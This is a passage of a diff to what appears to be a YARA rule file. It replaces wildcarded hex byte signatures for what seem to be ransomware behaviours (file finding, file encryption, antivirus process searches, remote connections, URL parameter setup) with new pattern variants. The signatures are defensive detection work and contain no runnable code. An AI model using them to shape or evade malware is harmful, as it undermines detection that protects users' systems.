-            ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 56 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 3C 46 57 E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68
-            ?? ?? ?? ?? 57 FF D3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ??
-            FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34 47
-            FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33
-            C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? 66 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 58 58 8D 44 24 ?? 50 57 FF
-            D3 8B 5C 24 ?? 8B 35 ?? ?? ?? ?? 53 FF D6 6A ?? C1 E0 ?? 83 C0 ?? 68 ?? ?? ?? ?? 50
-            6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B F8 53 89 7C 24 ?? FF D6 8D 04 C5 ?? ?? ?? ??
-            85 FF 74 ?? 3B 44 24 ?? 72 ?? 33 FF 53 FF D6 8B 0D ?? ?? ?? ?? 8B F0 89 74 24 ?? 85
-            C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 6A ?? 68 ?? ?? ?? ??
-            53 FF 15 ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ??
-            53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 5C 24 ?? 03 F6 8B D6 8B CB E8 ??
-            ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ??
-            ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 57 FF D3
-            6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D 48
-            ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33 F6
-            FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41
-            89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24 ??
-            6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 7C 24 ?? 8D 54 24 ?? 6A ?? 57 8B
-            CE C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 50 8B 44 24 ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 68 ?? ??
-            ?? ?? 6A ?? FF 74 24 ?? FF D3 33 F6 EB ?? 8B 4C 24 ?? 85 C9 74 ?? 8B 45 ?? 89 08 8B
-            44 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74
-            24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 EB ?? 8B 7C 24 ?? 83 7C 24 ?? ??
-            75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D3 BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 74 24 ??
-            FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B C6 5E 5B 8B E5 5D C3
+		$find_files_p4 = {
+            6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ?? ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89
+            29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ??
+            E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ??
+            ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08 8B 6C 24 ?? 8B 4C 24 ?? 8B B4 24 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89
+            0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ?? ?? 89
+            2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8B
+            44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ??
+            89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ??
+            ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B
+            44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0
+            0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 88 4C 24 ?? 0F B6 08 88 4C 24 ?? 8D
         }
-		$remote_connection_v2_1 = {
-            53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45 ?? ??
-            ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8 FF D6
-            89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15 ?? ??
-            ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45
-            ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3
-            0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF 15 ??
-            ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83 EC ??
-            68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 FF 75 ?? 8B 75 ?? 8D 4D ?? 56 E8
-            ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? C7 45 ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33
-            FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF
-            D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C7 5F
-            5E 5B 8B E5 5D C3
+		$find_files_p5 = {
+            0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ?? 89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ??
+            ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B 18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C
+            24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ??
+            ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89 29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ??
+            ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89
+            48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08
+            E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ??
+            ?? 89 0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ??
+            ?? 89 2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24
+            ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 89 AC 24 ?? ??
+            ?? ?? 89 8C 24 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            84 24 ?? ?? ?? ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ??
+            ?? 89 84 24 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 E8
         }
-		$search_antivirus_processes_v4_1_2 = {
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ??
-            89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ??
-            ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ??
-            50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85
-            F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5
-            5D C3
+		$encrypt_files_p1 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC
+            ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
+            ?? ?? ?? ?? 8B 40 ?? 89 04 24 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 84
+            24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 15 ?? ?? ?? ?? 39 CA 0F 85 ?? ?? ?? ?? 8B 48
+            ?? 89 4C 24 ?? 8B 00 89 84 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24
+            ?? 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 44
+            24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8D 54 24 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ??
+            89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8D AC 24 ?? ?? ?? ?? 89 6C 24 ?? 89 4C 24 ?? 89
+            44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ??
+            85 D2 0F 85 ?? ?? ?? ?? 89 44 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ??
+            ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24
+            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 85 D2 0F 85 ?? ??
+            ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8
         }
-		$find_files_v4_1_2 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
-            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
-            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
-            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ??
-            ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ??
-            8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6
-            44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ??
-            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ??
-            ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59
-            8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E
-            5B 8B E5 5D C3
+		$encrypt_files_p2 = {
+            85 C0 0F 85 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 54
+            24 ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C
+            24 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ??
+            89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ??
+            8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 1C 24 89 54 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B
+            4C 24 ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ??
+            8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ??
+            ?? 8B 2D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ??
+            89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24
+            ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 1C 24 8B 6C 24 ?? 89 6C 24 ??
+            8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 EB ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 04 0A 89 44 24 ??
+            8B 4C 24 ?? 89 0C 24 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 6C
+            24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B
+            54 24 ?? 89 54 24 ?? 85 C9 74 ?? 8B 1D ?? ?? ?? ?? 39 D9 0F 85 ?? ?? ?? ?? 89 0C 24
         }
-		$crypt_files_v4_1_2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 89 4D ?? 33 DB 57 B9 ?? ?? ?? ?? 89 5D ?? 8B F2 E8
-            ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 84
-            ?? ?? ?? ?? 53 53 6A ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE
-            ?? 0F 84 ?? ?? ?? ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 51 8D 55 ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 89 5D ?? 89
-            5D ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D
-            45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D
-            ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 81 F9 ?? ?? ?? ?? 6A ?? 5A 0F 42 C2 01 8F ?? ??
-            ?? ?? 8B 55 ?? 8D 8D ?? ?? ?? ?? 11 9F ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 FF 75 ?? 89
-            45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 56 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? 57 56 FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 8B 7D ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 53 8D 45 ?? 50 68
-            ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ??
-            ?? ?? 56 FF 15 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 33 C0 8D
-            48 ?? 89 4D ?? EB
+		$encrypt_files_p3 = {
+            89 54 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84
+            ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? 89 4C 24 ?? E8 ?? ??
+            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 EB 0F 87 ?? ??
+            ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 74 24 ?? 8B 7E ?? 89 44 24 ?? 89 4C 24
+            ?? 89 54 24 ?? 8B B4 24 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8B 6C 24 ??
+            89 2C 24 FF D7 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ??
+            8B 6C 24 ?? 89 6C 24 ?? 8B 74 24 ?? 89 34 24 FF D1 8B 44 24 ?? 89 04 24 8B 4C 24 ??
+            89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 4C 24 ?? 39 C1 0F 85 ?? ?? ?? ?? 89
+            0C 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44
+            24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 44 24 ?? B9 ?? ?? ?? ?? F7 E9 8B 44 24 ?? 01 C2 C1 F8 ?? C1 FA ?? 29 C2 89 D0
+            89 D3 F7 E9 8D 04 13 C1 F8 ?? C1 FB ?? 29 D8 83 C0 ?? 89 44 24 ?? 31 C9 EB ?? 8B 54
+            24 ?? 8D 4A ?? 8B 44 24 ?? 39 C1 7D ?? 89 4C 24 ?? 8B 44 24 ?? 89 04 24 8D 0D ?? ??
+            ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 90
+            E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 90
         }
-		$remote_connection_v4_1_2 = {
-            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
-            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
-            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
-            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
-            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
-            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF
-            15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B
-            E5 5D C2
-        }
-		$url_parameters_setup_v4_1_2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 15 ?? ?? ?? ?? 33 FF 57 57 57 FF 15 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 57 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ??
-            ?? ?? ?? 83 EC ?? 33 DB 43 53 83 EC ?? 53 51 53 51 53 51 53 51 53 83 EC ?? 53 51 53
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 50 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
-            D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ??
-            ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ?? ?? 03 C0 A3 ?? ?? ?? ?? FF D6 03 C0 8B D0
-            E8 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 57 57 68 ?? ?? ?? ?? 57 57 FF 15 ?? ?? ?? ??
-            8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 BB ?? ?? ?? ?? 53
-            FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ??
